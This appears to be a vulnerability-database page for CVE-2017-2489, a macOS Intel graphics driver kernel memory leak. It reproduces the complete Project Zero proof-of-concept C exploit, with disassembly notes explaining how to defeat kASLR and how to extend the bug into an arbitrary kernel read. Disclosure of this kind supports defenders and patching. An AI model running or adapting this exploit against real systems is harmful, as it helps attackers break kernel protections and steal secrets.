CVE-2017-2489

medium
Published 2017-04-02 ยท Modified 2026-05-13
CVSS v3
5.5
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
6.5

Description

An issue was discovered in certain Apple products. macOS before 10.12.4 is affected. The issue involves the "Intel Graphics Driver" component. It allows attackers to obtain sensitive information from kernel memory via a crafted app.

Predictions

Exploit likelihood
55%
Patch ETA
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Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-41798 dos macos verified text ยท 6 KB
Google Security Research ยท 2017-04-04

Apple macOS Kernel 10.12.2 (16C67) - Memory Disclosure Due to Lack of Bounds Checking in AppleIntelCapriController::getDisplayPipeCapability

text exploit Source: Exploit-DB
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1069

MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability

Selector 0x710 of IntelFBClientControl ends up in AppleIntelCapriController::getDisplayPipeCapability.

This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:

AppleIntelCapriController::getDisplayPipeCapability(AGDCFBGetDisplayCapability_t *, AGDCFBGetDisplayCapability_t *)
__text:000000000002A3AB                 mov     r14, rdx       ; output buffer, readable from userspace
__text:000000000002A3AE                 mov     rbx, rsi       ; input buffer, controlled from userspace
...
__text:000000000002A3B8                 mov     eax, [rbx]     ; read dword
__text:000000000002A3BA                 mov     rsi, [rdi+rax*8+0E40h]  ; use as index for small inline buffer in this object
__text:000000000002A3C2                 cmp     byte ptr [rsi+1DCh], 0  ; fail if byte at +0x1dc is 0
__text:000000000002A3C9                 jz      short ___fail
__text:000000000002A3CB                 add     rsi, 1E0Dh      ; otherwise, memcpy from that pointer +0x1e0dh
__text:000000000002A3D2                 mov     edx, 1D8h       ; 0x1d8 bytes
__text:000000000002A3D7                 mov     rdi, r14        ; to the buffer which will be sent back to userspace
__text:000000000002A3DA                 call    _memcpy

For this PoC we try to read the pointers at 0x2000 byte boundaries after this allocation; with luck there will be a vtable
pointer there which will allow us to read back vtable contents and defeat kASLR.

With a bit more effort this could be turned into an (almost) arbitrary read by for example spraying the kernel heap with the desired read target
then using a larger offset hoping to land in one of the sprayed buffers. A kernel arbitrary read would, for example, allow you to read the sandbox.kext
HMAC key and forge sandbox extensions if it still works like that.

tested on MacOS Sierra 10.12.2 (16C67)
*/

// ianbeer

// build: clang -o capri_mem capri_mem.c -framework IOKit

#if 0
MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability

Selector 0x710 of IntelFBClientControl ends up in AppleIntelCapriController::getDisplayPipeCapability.

This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:

AppleIntelCapriController::getDisplayPipeCapability(AGDCFBGetDisplayCapability_t *, AGDCFBGetDisplayCapability_t *)
__text:000000000002A3AB                 mov     r14, rdx       ; output buffer, readable from userspace
__text:000000000002A3AE                 mov     rbx, rsi       ; input buffer, controlled from userspace
...
__text:000000000002A3B8                 mov     eax, [rbx]     ; read dword
__text:000000000002A3BA                 mov     rsi, [rdi+rax*8+0E40h]  ; use as index for small inline buffer in this object
__text:000000000002A3C2                 cmp     byte ptr [rsi+1DCh], 0  ; fail if byte at +0x1dc is 0
__text:000000000002A3C9                 jz      short ___fail
__text:000000000002A3CB                 add     rsi, 1E0Dh      ; otherwise, memcpy from that pointer +0x1e0dh
__text:000000000002A3D2                 mov     edx, 1D8h       ; 0x1d8 bytes
__text:000000000002A3D7                 mov     rdi, r14        ; to the buffer which will be sent back to userspace
__text:000000000002A3DA                 call    _memcpy

For this PoC we try to read the pointers at 0x2000 byte boundaries after this allocation; with luck there will be a vtable
pointer there which will allow us to read back vtable contents and defeat kASLR.

With a bit more effort this could be turned into an (almost) arbitrary read by for example spraying the kernel heap with the desired read target
then using a larger offset hoping to land in one of the sprayed buffers. A kernel arbitrary read would, for example, allow you to read the sandbox.kext
HMAC key and forge sandbox extensions if it still works like that.

tested on MacOS Sierra 10.12.2 (16C67)
#endif

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <mach/mach_error.h>

#include <IOKit/IOKitLib.h>

int main(int argc, char** argv){
  kern_return_t err;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }

  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }

  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 4096;

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0x1d8;

  for (int step = 1; step < 1000; step++) {
    memset(inputStruct, 0, inputStructCnt);
    *(uint32_t*)inputStruct = 0x238 + (step*(0x2000/8));

    outputStructCnt = 4096;
    memset(outputStruct, 0, outputStructCnt);
    
    err = IOConnectCallMethod(
      conn,
      0x710,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt); 

    if (err == KERN_SUCCESS) {
      break;
    }

    printf("retrying 0x2000 up - %s\n", mach_error_string(err));
  }

  uint64_t* leaked = (uint64_t*)(outputStruct+3);
  for (int i = 0; i < 0x1d8/8; i++) {
    printf("%016llx\n", leaked[i]);
  }

  return 0;
}

OS impact

macos macOS Affected 1 release
VersionStatusFixed in
โ€” Affected โ€”

References

CWEs

CWE-200

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